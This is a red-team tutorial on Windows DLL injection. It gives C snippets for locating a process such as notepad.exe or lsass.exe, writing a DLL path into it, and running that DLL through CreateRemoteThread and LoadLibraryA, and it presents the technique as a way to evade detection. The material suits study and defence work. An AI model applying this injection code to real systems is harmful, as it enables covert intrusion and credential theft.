Overview:
By running malicious payloads inside a legitimate application/process, Red Teamers can use this code injection technique to evade detection. DLL Injection is a technique to run your own code inside another process by getting the legitimate process to load a DLL that you can control.
Find the Target Process
Before you inject your own DLL, first you need to pick the process/program you want to inject into. Ideally you want to look for common apps to be less suspicious and not standout. Processes like notepad.exe, calc.exe, svchost.exe, and lsass.exe are common to target.
- Use
CreateToolhelp32SnapshotAPI to take a snapshot all current running processes. - Use
Process32FirstandProcess32Nextto go through the list. - Compare each process’s name (like
notepad.exe) with your target name. - Once located, save the process id and get a handle with the process by using
OpenProcess.
Code example in C to look for running processes, find your target process id, and get a handle to it:
PROCESSENTRY32 Process = { .dwSize = sizeof(PROCESSENTRY32) };
HANDLE hSshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
Process32First(hSshot, &Process);
do {
if (wcscmp(Process.szExeFile, szProcessName) == 0) {
*dwProcessId = Process.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Process.th32ProcessID);
break;
}
} while (Process32Next(hSshot, &Process));
Allocate Memory
Windows API function VirtualAllocEx can be used to create some space inside the target process memory so we can add the path to our malicious DLL using WriteProcessMemory API function.
Allocate memory:
LPVOID addr = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
Write to allocated memory:
WriteProcessMemory(hProcess, addr, "C:\\evil.dll", strlen("C:\\evil.dll") + 1, NULL);
Trigger DLL Execution
Because we added the DLL path inside the legitimate process doesn't mean it will just run. Target process, notepad.exe, needs to call LoadLibraryA API function to load the DLL.
Get the address of the LoadLibraryA using kernel32.dll:
LPVOID loadLibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
Then create a remote thread to run your DLL:
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, addr, 0, NULL);
Calling CreateRemoteThread function with the LoadLibraryA address, makes the target process start a new thread on your DLL path.